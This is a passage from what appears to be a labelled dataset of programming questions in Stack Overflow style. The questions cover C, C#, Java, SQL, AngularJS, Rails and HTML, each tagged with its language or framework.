org.apache.tools.ant.module.run.targetexecutor.run(targetexecutor.java:541) at org.netbeans.core.execution.runclassthread.run(runclassthread.java:153) </code></pre>   java result: -1    thanks in advance,java
c# how to minimize another application by a given process id   i would like to minimize an application by its process id. i have searched on so and found the following code   <pre><code>private const int sw_maximize = 3; private const int sw_minimize = 6; [dllimport( user32.dll   entrypoint =  findwindow )] public static extern intptr findwindowbycaption(intptr zeroonly  string lpwindowname); [dllimport( user32.dll )] [return: marshalas(unmanagedtype.bool)] static extern bool showwindow(intptr hwnd  int ncmdshow);  public void minimizewindow() {   intptr hwnd = findwindowbycaption(intptr.zero   notepad );   showwindow(hwnd  sw_minimize); } </code></pre>   but i don t want to find window by caption because the caption for an app changes. i have a given process id that is coming from another module that request minimize the app with the given process id.    is there such a thing like this    <pre><code>  public static extern intptr findwindowbyprocess(intptr zeroonly  int lpprocessid); </code></pre>   or if not  anyway to go around,c#
what are the best practices for using extension methods in .net   i have seen these being used every which way  and have been accused of using them the wrong way (though in that case  i was using them that way to demonstrate a <a href= http://blog.gadodia.net/extension-methods-in-vbnet-and-c/  rel= noreferrer >point</a>).    so  what do you think are the best practices for employing extension methods     should development teams create a library of extension methods and deploy them across various projects     should there be a collection of common extension methods in the form of an open source project     <em>update: have decided to create an organization wide extension methods library</em>,.net
libjpeg jpeg_stdio_dest() seg fault  hello i have a little problem with writting data to jpeg:    here is the code snippet:   <pre><code>struct jpeg_compress_struct cinfo; struct jpeg_error_mgr jerr; /* more stuff */ file * outfile;                /* target file */ jsamprow row_pointer[1];        /* pointer to jsample row[s] */ int row_stride;                /* physical row width in image buffer */  cinfo.err = jpeg_std_error(&amp;jerr); jpeg_create_compress(&amp;cinfo);   if ((outfile = fopen(filename   wb+ )) == null) {     fprintf(stderr   can t open %s\n   filename);     exit(1); } else     printf( file successfully opened\n );  jpeg_stdio_dest(&amp;cinfo  outfile);  cinfo.image_width = img_w; cinfo.image_height = img_h; cinfo.input_components = 3; cinfo.in_color_space = jcs_rgb; </code></pre>   it gives me a segfault on jpeg_stdio_dest  gdb output:    #0  0x00007ffff7855735 in malloc_consolidate () from /usr/lib/libc.so.6    #1  0x00007ffff7856a08 in _int_malloc () from /usr/lib/libc.so.6    #2  0x00007ffff7858cc0 in malloc () from /usr/lib/libc.so.6    #3  0x00007ffff7bb4b17 in    () from /usr/lib/libjpeg.so.8    #4  0x00007ffff7b9f225 in jpeg_stdio_dest () from /usr/lib/libjpeg.so.8    #5  0x0000000000400f2e in write_jpeg_file (  image_buffer=0x608070  \002\002\002\002\002\002\366\366\366\365\365\365\001\001\001\003 \003\003\371\371\371\367\367\367\362\362\362\361\361\361\002\002\002\003\003\003\373\373\373\373\373\373\001\001\001\002\002\002   img_h=4  img_w=4  filename=0x7fffffffe6d1  lol.jpg   quality=100) at jpegapi.c:39    #6  0x0000000000400e1f in main (argc=5  argv=0x7fffffffe2e8) at main.c:28    i have no idea where to search  any help is appreciated,c
combining two pages in html  i m creating a web site for an institute  since i m new to this field i want to know whether i can create a page for header part(which containing the logo and the name of the institute) and  can i combine that page to each and every page i m creating. if it is possible suggest me how can i combine the header part &amp; newly created page..,html
how can i get height and width of a photo that i downloaded from internet in java   i m downloading a photo from url address with the following code:   <pre><code>try(inputstream in = new url(photourl).openstream()){     files.copy(in  paths.get( \\outputfiles\\photo.jpg ));     system.out.println(outputdir+newphotourl); } </code></pre>   but how can i additionaly display <code>width</code> and <code>height</code> of that image,java
is it important to declare <!doctype>  so my question is   is it important to declare  and why is the word  doctype  always in caps  is there any specific reason for it to be mentioned in an html code   since without it the code just seems to run fine.,html
reverse engineering a precompiled website  hi i am in need of your assistance. i have a precompiled website project and now i cant see the source files hence i cant edit my web project.i am only left with the aspx files which when i try viewing them i get a message  this is a marker file generated by the prrecompilation tool and should not be deleted.  i tried deleting the precompileapp.config file plus some dll files in the bin folder marked  app_web3610tfd...something like that but the website is still uneditable. please help me out.thanks in advance.,asp.net
converting celsius to fahrenheit using program parameter   for this program  i want to use program parameter to collect user data. for example  you can compile with <code>program -c 20</code> which will convert 20 to celsius  and when compile with <code>program -f 20</code>  the program will convert 20 to fahrenheit. the program can only accept <code>argv[0]</code> as <code>-c</code> or <code>-f</code>  and <code>argv[1]</code> will be converted to floating point. below is my program  i get some warnings and errors. can you help me to get it right.         <pre><code> #include &lt;stdio.h&gt;  #include &lt;string.h&gt;    int main(int argc  char *argv[])  {      const char* c =  -c ;     const char* f =  -f ;      float temp_c;       if(0==strcmp(argv[1] c))     {        sscanf(s  %f  &amp;temp_c);       temp_c =  (argv[2]-32)*5/9;       printf( %f celsius = %f fahrenheit   &amp;temp_c  argv[2]);       }else if(f0==strcmp(argv[1] f)){   sscanf(s  %f  &amp;temp_c);  temp_c =  argv[1]*9/5+32;  printf( %f celsius = %f fahrenheit   &amp;temp_c  argv[2]);      }else      {       printf( please use correct flag );       exit(0);     }  } </code></pre>,c
sql how to get the sum of fields to a specific value and make it a column header   for example: i have a table like this:   <pre><code>    ------------------------------------     id | name | color | account | amt  |     1  | mark | red   | 001-002 | 5.20 |     2  | lee  | blue  | 001-002 | 4.50 |     3  | mel  | blue  | 001-003 | 3.00 |     4  | joe  | green | 001-001 | 2.00 |     5  | mike | blue  | 001-002 | 1.00 |     ------------------------------------ </code></pre>   how to make it look like this:    <pre><code>--------------------------------  account | red  | blue | green |  001-001 | 0.00 | 0.00 | 2.00  |  001-002 | 5.20 | 5.50 | 0.00  |  001-003 | 0.00 | 3.00 | 0.00  | -------------------------------- </code></pre>,sql
is there a solution of parsing domains of urls in mysql  i have a table:    table1:   <pre><code>id  url 1   http://msdn.microsoft.com/en-us/library/9a6a2sxy.aspx 2   http://en.wikipedia.org/wiki/mysql 3   http://wrong-url 4   http://www.chami.com/tips/internet/042599i.html 5   http://www.chami.com </code></pre>   i want to add a column to record the domains of the urls. i want to get a table like this:   <pre><code>id  url                                                        domain 1   http://msdn.microsoft.com/en-us/library/9a6a2sxy.aspx      microsoft.com 2   http://en.wikipedia.org/wiki/mysql                         wikipedia.org 3   http://wrong-url                                           null 4   http://www.chami.com/tips/internet/042599i.html            chami.com 5   http://www.chami.com                                       chami.com </code></pre>   anyone can provide a solution,mysql
what is the result of the expression   does this code would work as expected in all browsers  is there any notes in specification about it    <pre><code>var attributes = this._attributes   this._attributes : (this._attributes = []); </code></pre>   i.e. if *this._attributes* not initialized  then new array will be created and that array will be assigned to *this._attributes* and to <em>attributes</em>.,javascript
i am getting each minute data from sql query  i have the hours of data in database i want to take data for each 15th minute instead of each minute  i am using the query   <pre><code>select gridpow        date_format(time  %h )        date_format(time  %i )        invid    from kstar_data   where date=      and siteid=      and invid=    order      by hour(time)        minute(time); </code></pre>   how to get the data only for each 15min data.,mysql
how to make a text as selectable   i have some textviews for phone no. these are not editable. so i have made them as textview. i want to perform click action on phone no  i.e. on clicking phone no i have to make a call. how to implement that  anyone any idea,android
how do you multiply the first element in a list by a number (in a list of lists) in python   i have a list of lists like this:   <pre><code>[[1 2 3] [4 5 6]] </code></pre>   i would like to multiply the first element of each of the inner lists by 10. so the expected output would be this:   <pre><code>[[10 2 3] [40 5 6]] </code></pre>   how could i do this,python
angularjs inline value undefined and zero  i need to show a value in angularjs inline   <pre><code>&lt;mytag value= entity.order ||  *  ) /&gt; </code></pre>   it displays me <code>*</code> when the <code>order == 0</code>  how to avoid that  setting <code>*</code> only if the order is <code>undefined</code>,angularjs
set cron auto backup mysql databases  i have try to set cron file for get auto backup to all my database table.    i was using following mysqldump command :   <pre><code>sudo mysqldump -u username -p password --all-databases | gzip &gt; mysqldb_`date +%f`.sql.gz </code></pre>   but it s show following error :    <blockquote>    mysqldump: got error: 1049: unknown database  password  when selecting the database  </blockquote>   any other option to get automatic mysql database backup    thank you...,mysql
word highlighting library without jquery  i m working on an angularjs project. i don t have jquery in my project. i need a library for mentioning people and adding tags for articles. every angular library i ve found for that uses jquery. is there any library without jquery,angularjs
how to rewrite url in asp.net for the beginners   i am not able to rewrite url using following code. as i am new to asp.net  am confused with various code that i have found in google.   <pre><code>&lt;system.webserver&gt;  &lt;defaultdocument&gt; &lt;files&gt; &lt;clear/&gt; &lt;add value= default.aspx /&gt; &lt;/files&gt; &lt;/defaultdocument&gt; &lt;modules runallmanagedmodulesforallrequests= true &gt; &lt;add name= urlrewriter   type= intelligencia.urlrewriter.rewriterhttpmodule /&gt; &lt;/modules&gt;  &lt;validation validateintegratedmodeconfiguration= false  /&gt;  &lt;/system.webserver&gt;  &lt;rewriter&gt; &lt;rewrite url= ~/vendor1.aspx id=1  to= ~/products.aspx category=books  /&gt; &lt;/rewriter&gt; </code></pre>,asp.net
delete record from two different table using one query mysql  i want to delete record from two table which is relate by f key. this is sample code the way i use in my original code. but this is not working.    delete from tb_extensions ext inner join tb_employee em on em.emp_id = ext.emp_id where tb_employee.emp_id =  new1,mysql
how do i resolve an  expected expression before  unsigned   error   my code is:   <pre><code>#include &lt;unistd.h&gt;    (void)alarm(unsigned int 0);  error: expected expression before  unsigned  </code></pre>   but i m getting the following error:   <blockquote>    error: expected expression before  unsigned   due to: (void)alarm(unsigned int 0);  </blockquote>   i m not sure if it is my syntax or use of (void) or something else. what s going on     i m using <a href= http://www.codeblocks.org/  rel= nofollow >code::blocks</a> under windows.,c
asiformdatarequestclass not working for ios6  im my app i am using asiformdatarequest class but it seems they are not working for devices upgraded to ios6.    i am always getting <strong>null response</strong>     any suggestions  or is there a new version online     i previously thought its asihttprequest but error seems to be in asiformdatarequest...    thanks    <strong>issue update</strong>    asiformdatarequest web services is not working on  ipod1+ios 6 in my apps but is working fine on ipad and iphone...,ios
number only html form  what is the code if you want that only number should be inputted in an html textbox. if you input letters there will be no letter that would show. if you input numbers  the numbers would show  please help,html
functions within loops  why are they considered an  error   for complex functions declared within a loop  i can see why i wouldn t want to do this  but why would it be be considered bad javascript      we can name the function and place it outside the loop of course  but upsets the flow for something that is simple ( no async ).    eg  below is a simple inline function declaration within a loop ( jshint/lint complains  why this is considered a no no     <pre><code>for (var i = 0  len=arr.length; i &lt; len; ++i) {       dosomething(arr[i]  function(returnvalue) {          console.log(returnvalue);      });  }; </code></pre>,javascript
run a function inside for every 10 seconds  i have this for inside my script:   <pre><code>for(var i = 0  l = eachline.length; i &lt; l; i++) {  if(eachline[i].length&gt;0){   dop(eachline[i]  +i);  } } </code></pre>   the for read lines from a string and call dop function. what happens is it is too fast and cause some speed trouble in my webside depending on text size.    what i want is to call dop function every 10 seconds... in other words  i want for to wait 10 seconds to call dop function again... how can i make it work,jquery
scrolling table in 100% div inside table  i ve got an outer div with a 2x2 table in it  which i want to keep 100% of the page  it should not generate page scrollbars.    inside one of the top cells  there is another table inside a div  how can i make the inner table scroll inside the div such that the outer table doesn t expand past the page boundaries.    here s the fiddle: <a href= http://jsfiddle.net/lv29h/  rel= nofollow >http://jsfiddle.net/lv29h/</a>   <pre><code>    &lt;div style= width: 100%; &gt; &lt;table id= main  class= outer-surround  style= width: 100%; &gt;     &lt;tr&gt;         &lt;td style= width: 1px; &gt;&lt;/td&gt;         &lt;td style=  &gt;             &lt;div id= top  style= background-color: lightpink; border-spacing: 0px; overflow: hidden; &gt;                   &lt;table style= border-color:gray;border-width:1px;border-style:solid; &gt;                     &lt;tbody&gt;                         &lt;tr&gt;                             &lt;td colspan= 40 &gt;                                 &lt;a href= # &gt;abc&lt;/a&gt;                             &lt;/td&gt;                         &lt;/tr&gt;                         &lt;tr&gt;                             &lt;td &gt; &lt;a href= # &gt;abc&lt;/a&gt; &lt;/td&gt;&lt;td &gt; &lt;a href= # &gt;abc&lt;/a&gt; &lt;/td&gt;&lt;td &gt; &lt;a href= # &gt;abc&lt;/a&gt; &lt;/td&gt;&lt;td &gt; &lt;a href= # &gt;abc&lt;/a&gt; &lt;/td&gt;&lt;td &gt; &lt;a href= # &gt;abc&lt;/a&gt; &lt;/td&gt;&lt;td &gt; &lt;a href= # &gt;abc&lt;/a&gt; &lt;/td&gt;&lt;td &gt; &lt;a href= # &gt;abc&lt;/a&gt; &lt;/td&gt;&lt;td &gt; &lt;a href= # &gt;abc&lt;/a&gt; &lt;/td&gt;&lt;td &gt; &lt;a href= # &gt;abc&lt;/a&gt; &lt;/td&gt;&lt;td &gt; &lt;a href= # &gt;abc&lt;/a&gt; &lt;/td&gt;&lt;td &gt; &lt;a href= # &gt;abc&lt;/a&gt; &lt;/td&gt;&lt;td &gt; &lt;a href= # &gt;abc&lt;/a&gt; &lt;/td&gt;&lt;td &gt; &lt;a href= # &gt;abc&lt;/a&gt; &lt;/td&gt;&lt;td &gt; &lt;a href= # &gt;abc&lt;/a&gt; &lt;/td&gt;&lt;td &gt; &lt;a href= # &gt;abc&lt;/a&gt; &lt;/td&gt;&lt;td &gt; &lt;a href= # &gt;abc&lt;/a&gt; &lt;/td&gt;&lt;td &gt; &lt;a href= # &gt;abc&lt;/a&gt; &lt;/td&gt;&lt;td &gt; &lt;a href= # &gt;abc&lt;/a&gt; &lt;/td&gt;&lt;td &gt; &lt;a href= # &gt;abc&lt;/a&gt; &lt;/td&gt;&lt;td &gt; &lt;a href= # &gt;abc&lt;/a&gt; &lt;/td&gt;&lt;td &gt; &lt;a href= # &gt;abc&lt;/a&gt; &lt;/td&gt;&lt;td &gt; &lt;a href= # &gt;abc&lt;/a&gt; &lt;/td&gt;&lt;td &gt; &lt;a href= # &gt;abc&lt;/a&gt; &lt;/td&gt;&lt;td &gt; &lt;a href= # &gt;abc&lt;/a&gt; &lt;/td&gt;&lt;td &gt; &lt;a href= # &gt;abc&lt;/a&gt; &lt;/td&gt;&lt;td &gt; &lt;a href= # &gt;abc&lt;/a&gt; &lt;/td&gt;&lt;td &gt; &lt;a href= # &gt;abc&lt;/a&gt; &lt;/td&gt;&lt;td &gt; &lt;a href= # &gt;abc&lt;/a&gt; &lt;/td&gt;&lt;td &gt; &lt;a href= # &gt;abc&lt;/a&gt; &lt;/td&gt;&lt;td &gt; &lt;a href= # &gt;abc&lt;/a&gt; &lt;/td&gt;&lt;td &gt; &lt;a href= # &gt;abc&lt;/a&gt; &lt;/td&gt;&lt;td &gt; &lt;a href= # &gt;abc&lt;/a&gt; &lt;/td&gt;&lt;td &gt; &lt;a href= # &gt;abc&lt;/a&gt; &lt;/td&gt;&lt;td &gt; &lt;a href= # &gt;abc&lt;/a&gt; &lt;/td&gt;&lt;td &gt; &lt;a href= # &gt;abc&lt;/a&gt; &lt;/td&gt;&lt;td &gt; &lt;a href= # &gt;abc&lt;/a&gt; &lt;/td&gt;&lt;td &gt; &lt;a href= # &gt;abc&lt;/a&gt; &lt;/td&gt;&lt;td &gt; &lt;a href= # &gt;abc&lt;/a&gt; &lt;/td&gt;&lt;td &gt; &lt;a href= # &gt;abc&lt;/a&gt; &lt;/td&gt;&lt;td &gt; &lt;a href= # &gt;abc&lt;/a&gt; &lt;/td&gt;&lt;td &gt; &lt;a href= # &gt;abc&lt;/a&gt; &lt;/td&gt;&lt;td &gt; &lt;a href= # &gt;abc&lt;/a&gt; &lt;/td&gt;&lt;td &gt; &lt;a href= # &gt;abc&lt;/a&gt; &lt;/td&gt;&lt;td &gt; &lt;a href= # &gt;abc&lt;/a&gt; &lt;/td&gt;&lt;td &gt; &lt;a href= # &gt;abc&lt;/a&gt; &lt;/td&gt;&lt;td &gt; &lt;a href= # &gt;abc&lt;/a&gt; &lt;/td&gt;                           &lt;/tr&gt;                     &lt;/tbody&gt;                 &lt;/table&gt;               &lt;/div&gt;         &lt;/td&gt;     &lt;/tr&gt;     &lt;tr&gt;         &lt;td style= width: 1px; &gt;&lt;div style= background-color: lightgreen; height: 400px; display: inline-block; &gt;test&lt;/div&gt;&lt;/td&gt;         &lt;td&gt;&lt;div style= background-color: yellow; height: 400px; display: block; &gt;test&lt;/div&gt;&lt;/td&gt;     &lt;/tr&gt; &lt;/table&gt; &lt;/div&gt; </code></pre>   table inside  top  shouldn t force the page to scroll  it should scroll within  top  div.,html
loading applications in .net  how to laod an application in .net and how to get the memory usage  and cpu utilization of the loaded application.,.net
loop through all the <script /> tags on a page  i want to loop through all the referenced javascript files on an asp.net page.     in other words  i want to enumerate all the   <pre><code>&lt;script src= a.js  type= text/javascript &gt;&lt;/script&gt; &lt;script src= b.js  type= text/javascript &gt;&lt;/script&gt; &lt;script src= c.js  type= text/javascript &gt;&lt;/script&gt; </code></pre>   tags on a page.    of course  i can t do this because they are not actually visible to asp.net. they do not have a runat= server  tag on them. and  of course  if you add a runat= server  tag to them  then asp.net is going to actually try to run the javascript on the server (perhaps the only time where runat= server  has a real use!)     am i out of luck here  i think i am  but it is worth asking.,asp.net
using c++ code to check in os if wifi is available or not(if its available whether its turn on/off)  is there any method or function or anything available in c++ to check or get status of wifi is available in windows os  if its available then i need to check or get status whether wifi is on/off  if any suggestion,c++
best way to show a value from an async function in html (angularjs)  i have a db with a 2 separate collections. a collection of games and a collection of comments about those games. each game has a unique id and each comment has a field game_id and a unique id.    i want to show a list of games with the number of comments for each game.    i wrote an async function in the scope that retrieves the number of comments for a game from the db and return a promise. what is the right (and most cleanest) way to show the value in the html      i do not want to include the comments counter in the games request because i want to cache the response for the games. so if a user navigates back to the games page  the list of games will be loaded immediately  and the comments numbers will be loaded after a few seconds. in addition  i want to do as few server side cpu usage as possible.      will this code work    <pre><code>//code in html &lt;div ng-repeat= game in games &gt; &lt;span&gt;{{game.date}}&lt;/span&gt; &lt;span&gt;{{game.home}}&lt;/span&gt; &lt;span&gt;{{game.away}}&lt;/span&gt; &lt;span&gt;{{getnumberofcomments(game.id)}} comments&lt;/span&gt;   &lt;/div&gt;  //code in script.js app.factory( apiservice   function($http) {   return {     getgames: function() {       return $http.get( /api/games  {cache: true});     }     getcommentscount: function(game_id) {       return $http.get( /api/commentscount/  + id);     }   }; });   app.controller( myctrl   function ($scope  apiservice) {   //get games from server when user enter the website   gameservice.getgames().then(function(resp) {         $scope.games = resp.data;   });  //function that send a request from the server for a specific game about the number of comments.  $scope.getnumberofcomments = function(id){       return apiservice.getcommentscount(id).then(function(resp){        return resp.data;   });  }); }); </code></pre>   my server endpoints are only  /api/games  that sends the respond with a list of games. and /api/commentscount/:game_id  that sends the number of comments for a game. i do not want to change the way the server works for performance reasons.,angularjs
how to suppress all this information when using  rails test   whenever i run rails test it returns the test and then a bunch of extra code. i don t want all that extra. do i have to add code or change something to hide the stack trace    <pre class= lang-bash prettyprint-override ><code>ec2-user:~/environment/sample_app (master) $ rails test running via spring preloader in process 12952 started with run options --seed 32554  run options: --seed 32554--=---=---=---=---=---=---=---=---=---=---=---=---=---=---=---=---=] 0% time: 00:00:00   eta:   :  :    # running:  ..  4/3: [=============================== ===============================                      ] 75% time: 00:00:00   eta: 00:00:.  4/4:   [======================================= ===========================================] 100% time: 00:00:00  time:  00:00:00 . finished in 0.15399s 4 tests  8 assertions  0 failures  0 errors  0 skips /usr/local/rvm/gems/ruby-2.4.1/gems/notiffany- 0.1.1/lib/notiffany/notifier/tmux/client.rb:12:in `version : undefined  method `[]  for nil:nilclass (nomethoderror)     from /usr/local/rvm/gems/ruby-2.4.1/gems/notiffany- 0.1.1/lib/notiffany/notifier/tmux.rb:69:in `_check_available      from /usr/local/rvm/gems/ruby-2.4.1/gems/notiffany- 0.1.1/lib/notiffany/notifier/base.rb:59:in `initialize      from /usr/local/rvm/gems/ruby-2.4.1/gems/notiffany- 0.1.1/lib/notiffany/notifier/detected.rb:100:in `new      from /usr/local/rvm/gems/ruby-2.4.1/gems/notiffany- 0.1.1/lib/notiffany/notifier/detected.rb:100:in `_add      from /usr/local/rvm/gems/ruby-2.4.1/gems/notiffany- 0.1.1/lib/notiffany/notifier/detected.rb:62:in `block (2 levels) in detect      from /usr/local/rvm/gems/ruby-2.4.1/gems/notiffany- 0.1.1/lib/notiffany/notifier/detected.rb:60:in `each      from /usr/local/rvm/gems/ruby-2.4.1/gems/notiffany- 0.1.1/lib/notiffany/notifier/detected.rb:60:in `detect      from /usr/local/rvm/gems/ruby-2.4.1/gems/notiffany- 0.1.1/lib/notiffany/notifier/detected.rb:60:in `block in detect      from /usr/local/rvm/gems/ruby-2.4.1/gems/notiffany- 0.1.1/lib/notiffany/notifier/detected.rb:59:in `each      from /usr/local/rvm/gems/ruby-2.4.1/gems/notiffany- 0.1.1/lib/notiffany/notifier/detected.rb:59:in `detect      from /usr/local/rvm/gems/ruby-2.4.1/gems/notiffany- 0.1.1/lib/notiffany/notifier.rb:180:in `_detect_or_add_notifiers      from /usr/local/rvm/gems/ruby-2.4.1/gems/notiffany- 0.1.1/lib/notiffany/notifier.rb:198:in `_activate      from /usr/local/rvm/gems/ruby-2.4.1/gems/notiffany- 0.1.1/lib/notiffany/notifier.rb:87:in `initialize      from /usr/local/rvm/gems/ruby-2.4.1/gems/notiffany- 0.1.1/lib/notiffany/notifier.rb:42:in `new      from /usr/local/rvm/gems/ruby-2.4.1/gems/notiffany- 0.1.1/lib/notiffany/notifier.rb:42:in `connect      from /usr/local/rvm/gems/ruby-2.4.1/gems/guard- 2.13.0/lib/guard/notifier.rb:11:in `connect      from /usr/local/rvm/gems/ruby-2.4.1/gems/guard- 2.13.0/lib/guard/notifier.rb:31:in `notify      from /usr/local/rvm/gems/ruby-2.4.1/gems/guard-compat- 1.2.1/lib/guard/compat/plugin.rb:113:in `notify      from /usr/local/rvm/gems/ruby-2.4.1/gems/guard-minitest- 2.4.4/lib/guard/minitest/notifier.rb:31:in `notify      from /usr/local/rvm/gems/ruby-2.4.1/gems/guard-minitest- 2.4.4/lib/guard/minitest/reporter.rb:10:in `report      from /usr/local/rvm/gems/ruby-2.4.1/gems/minitest- 5.11.3/lib/minitest.rb:808:in `each      from /usr/local/rvm/gems/ruby-2.4.1/gems/minitest- 5.11.3/lib/minitest.rb:808:in `report      from /usr/local/rvm/gems/ruby-2.4.1/gems/minitest- 5.11.3/lib/minitest.rb:141:in `run      from /usr/local/rvm/gems/ruby-2.4.1/gems/minitest- 5.11.3/lib/minitest.rb:63:in `block in autorun      from /usr/local/rvm/gems/ruby-2.4.1/gems/spring- 2.0.2/lib/spring/application.rb:171:in `fork      from /usr/local/rvm/gems/ruby-2.4.1/gems/spring- 2.0.2/lib/spring/application.rb:171:in `serve      from /usr/local/rvm/gems/ruby-2.4.1/gems/spring- 2.0.2/lib/spring/application.rb:141:in `block in run      from /usr/local/rvm/gems/ruby-2.4.1/gems/spring- 2.0.2/lib/spring/application.rb:135:in `loop      from /usr/local/rvm/gems/ruby-2.4.1/gems/spring- 2.0.2/lib/spring/application.rb:135:in `run      from /usr/local/rvm/gems/ruby-2.4.1/gems/spring- 2.0.2/lib/spring/application/boot.rb:19:in `&lt;top (required)&gt;      from /usr/local/rvm/rubies/ruby- 2.4.1/lib/ruby/site_ruby/2.4.0/rubygems/core_ext/kernel_require.rb:55:in  `require      from /usr/local/rvm/rubies/ruby- 2.4.1/lib/ruby/site_ruby/2.4.0/rubygems/core_ext/kernel_require.rb:55:in  `require      from -e:1:in `&lt;main&gt;  </code></pre>   see how most of that stuff is useless. just the top part and error count is sufficient.,ruby-on-rails
how can i view sonarqube web browser  rule description and issue editor in eclipse  i am using ubuntu 14.04 lts  os type 32-bit  sonarqube 4.5.2  sonar-runner 2.4  java version  1.7.0_65   eclipse kepler.    while analyzing sonarqube in eclipse it shows the following issue:   <pre><code>sonarqube analysis has encountered a problem  error during execution of sonar  error during execution of sonar error status [command: /usr/lib/jvm/java-7-openjdk-i386/jre/bin/java -cp /tmp/sonar-runner-impl8404187497975734722.jar org.sonar.runner.impl.batchlaunchermain /tmp/sonar-project6286406354288770628.properties]: 1    retrieve remote issues of project sonartest... start sonarqube analysis on sonartest... info: sonarqube server 4.5.2 exception in thread  main  java.lang.illegalstateexception: unable to create user cache/home/username/.sonar/cache     at org.sonar.home.cache.filecache.createdir(filecache.java:156)     at org.sonar.home.cache.filecache.&lt;init&gt;(filecache.java:47)     at org.sonar.home.cache.filecache.create(filecache.java:53)     at org.sonar.home.cache.filecachebuilder.build(filecachebuilder.java:60)     at org.sonar.runner.impl.jars35.&lt;init&gt;(jars35.java:40)     at org.sonar.runner.impl.jardownloader.download35(jardownloader.java:56)     at org.sonar.runner.impl.jardownloader.download(jardownloader.java:40)     at org.sonar.runner.impl.batchlauncher$1.run(batchlauncher.java:71)     at java.security.accesscontroller.doprivileged(native method)     at org.sonar.runner.impl.batchlauncher.doexecute(batchlauncher.java:69)     at org.sonar.runner.impl.batchlauncher.execute(batchlauncher.java:50)     at org.sonar.runner.impl.batchlaunchermain.execute(batchlaunchermain.java:41)     at org.sonar.runner.impl.batchlaunchermain.main(batchlaunchermain.java:59) caused by: java.io.ioexception: unable to create directory /home/username/.sonar/cache     at org.apache.commons.io.fileutils.forcemkdir(fileutils.java:1748)     at org.sonar.home.cache.filecache.createdir(filecache.java:154)     ... 12 more </code></pre>,java
determine day in date  i have an activity model which has an activity date. now i am iterating day numbers and i want to show the activity from a collection of activities which has that day number. something like this:   <pre><code>1 activities = activity.all 2 (1..31).each do |day| 3   activity = activities.where(activity_date.day == day) 4   unless activity.blank  5     ..show activity data... 6   end 7 end  </code></pre>   the issue is with line 3  which doesn t work obviously. what is the best way of doing this,ruby-on-rails
change parameter based on select value  i am using this neat script to develop a select menu.     <a href= http://exodecreations.com/jquery/jqdropdown.html#plugin_options  rel= nofollow >http://exodecreations.com/jquery/jqdropdown.html#plugin_options</a>    i am using the follow example from the site:   <pre><code>$( #list4 ).jqdropdown({    optionchanged: function(){alert( option changed... );}     defaultstyle: false    containername:  thecontainer     togglebtnname:  awesometoggleclass     optionlistname:  thislistisrocking  });  </code></pre>   i am looking for a function on the <code>optionchanged</code> which will allow me to change a php variable based on the value that has been selected.     any ideas on how to do this,jquery
how to align with the title of the toolbar   i m trying to align a row with an icon and a text field with the navigation button and title of the toolbar  respectively.    according to the design specification  the title is 72dp away from the left edge:    <a href= https://i.stack.imgur.com/z7t4g.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/z7t4g.png  alt= enter image description here ></a>    if i use 72dp  like below  i don t get an alignment   <pre><code>&lt; xml version= 1.0  encoding= utf-8  &gt; &lt;merge xmlns:android= http://schemas.android.com/apk/res/android &gt;     &lt;imageview android:layout_width= 56dp                 android:layout_height= 56dp                 android:padding= 16dp                 android:id= @+id/icon /&gt;      &lt;edittext android:layout_width= match_parent                android:layout_height= wrap_content                android:singleline= true                android:id= @+id/text                android:layout_marginleft= 16dp                android:layout_marginright= 16dp /&gt; &lt;/merge&gt; </code></pre>   <a href= https://i.stack.imgur.com/l7l2i.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/l7l2i.png  alt= enter image description here ></a>    does anyone know what might be wrong     thanks    <strong>update</strong> customised the toolbar as per @mike s advice:    <a href= https://i.stack.imgur.com/6hgk5.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/6hgk5.png  alt= enter image description here ></a>    <a href= https://i.stack.imgur.com/sa6yr.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/sa6yr.png  alt= enter image description here ></a>,android
how do checkboxes work in rails   i was wondering how check boxes work in rails  what would the table be inside of the database( integer  string etc)  how would you give 3 different values to check boxes and the user only can choose 1(favorite color: red green or blue)      i m new to rails and it would help to have an explanation from the beginning to end as i see a lot of examples but they don t explain everything from the start.    thank you.,ruby-on-rails
pausing/resuming script execution   i m trying to find a way to pause a script s execution (one that is not timeout) that would allow me to e.g. check variable values at that point  input additional commands from the command line and then resume the execution once i m ready. in idl (from which i switched to python very recently) i was able to do that by including  stop  at the chosen code line and then typing  .cont . does something similar exist in python     many thanks in advance for the help!    (this is my first post here  so i hope the above description meets the standards but if not i d welcome any critical feedback!),python
sql commands using joins for the following four tables  there are four tables   <ol> <li>employee (employee_id name chief_id)</li> <li>department(department_id name)</li> <li>emp_dep(employee_id department_id)</li> <li>emp_sal(employee_id salary)</li> </ol>   now i need to write a query which displays employee ids who get maximum salary in each department.,sql
on clicking button it doesn t the angularconfirm  on clicking the button  it doesn t popup the angularconfirm dialog window.since i am new to angularjs material i cannot understand where the actual problem lies.please help me out.   <pre><code>     html code:     &lt;md-button class= md-raised next-btn  ng-click= showconfirm() &gt;join     group&lt;/md-button&gt;    script file: &lt;script&gt;            angular.module( myapp   [ ngmaterial ])   .controller( headcontroller   function($scope $http $window $mddialog) {    $scope.status =     ;    $scope.customfullscreen = false;      $scope.showconfirm = function(ev) {        var confirm = $mddialog.confirm()            .title( would you like to delete your debt  )            .textcontent( all of the banks have agreed to forgive you your         debts. )           .arialabel( lucky day )            .targetevent(ev)             .ok( please do it! )             .cancel( sounds like a scam );         $mddialog.show(confirm).then(function() {         $scope.status =  you decided to get rid of your debt. ;          }  function() {           $scope.status =  you decided to keep your debt. ;       });     };        });       &lt;/script&gt; </code></pre>,angularjs
finding variable  purpose: writing a script that takes two parameters (directory and c var) and searches all files with c extension in a directory.    every line that contains the variable in the second parameter must be printed. the variable should also be matched exactly including capitalization and should be a whole word.     the filename should be printed preceded by the line with the variable     any help would be appreciated.,c
order an hash in rails  i ve got an hash that looks like this     <code>{ 1-5 lbs =&gt;107342.43999999999   31+ lbs =&gt;39838.58000000001   21-30 lbs =&gt;19036.41   11-20 lbs =&gt;39350.95   6-10 lbs =&gt;41401.880000000005}</code>    and i d like to sort it so it looks like this    <code>{ 1-5 lbs =&gt;107342.43999999999   6-10 lbs =&gt;41401.880000000005   11-20 lbs =&gt;39350.95   21-30 lbs =&gt;19036.41   31+ lbs =&gt;39838.58000000001 }</code>    the logic is being stored in an instance variable <code>@weight_ranges</code>,ruby-on-rails
